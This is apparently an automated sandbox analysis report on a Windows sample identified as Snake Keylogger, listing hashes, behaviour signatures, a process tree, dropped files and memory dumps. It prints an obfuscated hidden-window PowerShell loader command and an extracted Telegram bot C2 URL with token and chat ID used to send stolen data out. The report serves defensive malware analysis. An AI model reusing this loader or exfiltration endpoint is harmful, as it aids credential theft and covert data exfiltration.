Analysis

  • max time kernel
    122s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    09-07-2024 09:49

General

  • Target

    Selvretfrdig.exe

  • Size

    389KB

  • MD5

    016b555049364f09f3d2f58fe88c28f7

  • SHA1

    48893b18559daa8392ff371117f799113c81c90d

  • SHA256

    f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0

  • SHA512

    15ce409cdb879c30d14d6211127fa0d8f7cc22611b3c20906f70ef5da059dd769953441e4cd466b2b6c3f7a6124786f0c6f981abc75812f2a99d452bd1d3d586

  • SSDEEP

    6144:9M23AbpBWzrsx8NjZc+2xFLHUxxf5WMG8FtObeYv5JuvWLWC32jTMA3hJCQNUs:vGpQzQ8cLxFQtdG8Ftqvzh9pKJfNb

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot7479517689:AAFZXzeEulm16gwWbLqx5RMoTeKEfX7e5jQ/sendMessage?chat_id=7071568333

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Selvretfrdig.exe
    "C:\Users\Admin\AppData\Local\Temp\Selvretfrdig.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2820
      • C:\Program Files (x86)\windows mail\wab.exe
        "C:\Program Files (x86)\windows mail\wab.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:2592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Presenile.Tel

    Filesize

    330KB

    MD5

    67bfad28d1127c53a9aac5c51b3b77b8

    SHA1

    896af109b830f91baa527847b2cf968cba28b771

    SHA256

    38c27304ea5dcdcdbf5214a38989559b4f2feb79b73d680ec96cf2e9e220225d

    SHA512

    8eb928e4731dda023c4b253539cd5e6246bcdc2bdbbe74e2f745f129c829a64b04c7d746630eb66a504b417332ea42b6d9bfd987f4704cb51660750fbe467b8b

  • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla

    Filesize

    64KB

    MD5

    c9035c38abb2f8b3e1255a2320926c2b

    SHA1

    29ee2663a1f9e8c907791957558b79dff166413c

    SHA256

    92eca1cfe870c436907085d7d2d85ea69c5596d456a98224937d631cfaf4adc6

    SHA512

    9b1f7655ec40cd92a873547bf7b8b03de824ee53bf2cbd516ec245e3cbc385e6659ce61ce5c94c1460877d697a42fbf1ee65db3abed1474c7aeec233208e89f7

  • memory/2592-45-0x0000000000730000-0x0000000000756000-memory.dmp

    Filesize

    152KB

  • memory/2592-44-0x0000000000730000-0x0000000001792000-memory.dmp

    Filesize

    16.4MB

  • memory/2592-24-0x0000000000730000-0x0000000001792000-memory.dmp

    Filesize

    16.4MB

  • memory/2820-18-0x00000000737B0000-0x0000000073D5B000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-11-0x00000000737B1000-0x00000000737B2000-memory.dmp

    Filesize

    4KB

  • memory/2820-19-0x00000000737B0000-0x0000000073D5B000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-15-0x00000000737B0000-0x0000000073D5B000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-21-0x00000000737B0000-0x0000000073D5B000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-22-0x00000000064A0000-0x000000000737B000-memory.dmp

    Filesize

    14.9MB

  • memory/2820-13-0x00000000737B0000-0x0000000073D5B000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-14-0x00000000737B0000-0x0000000073D5B000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-12-0x00000000737B0000-0x0000000073D5B000-memory.dmp

    Filesize

    5.7MB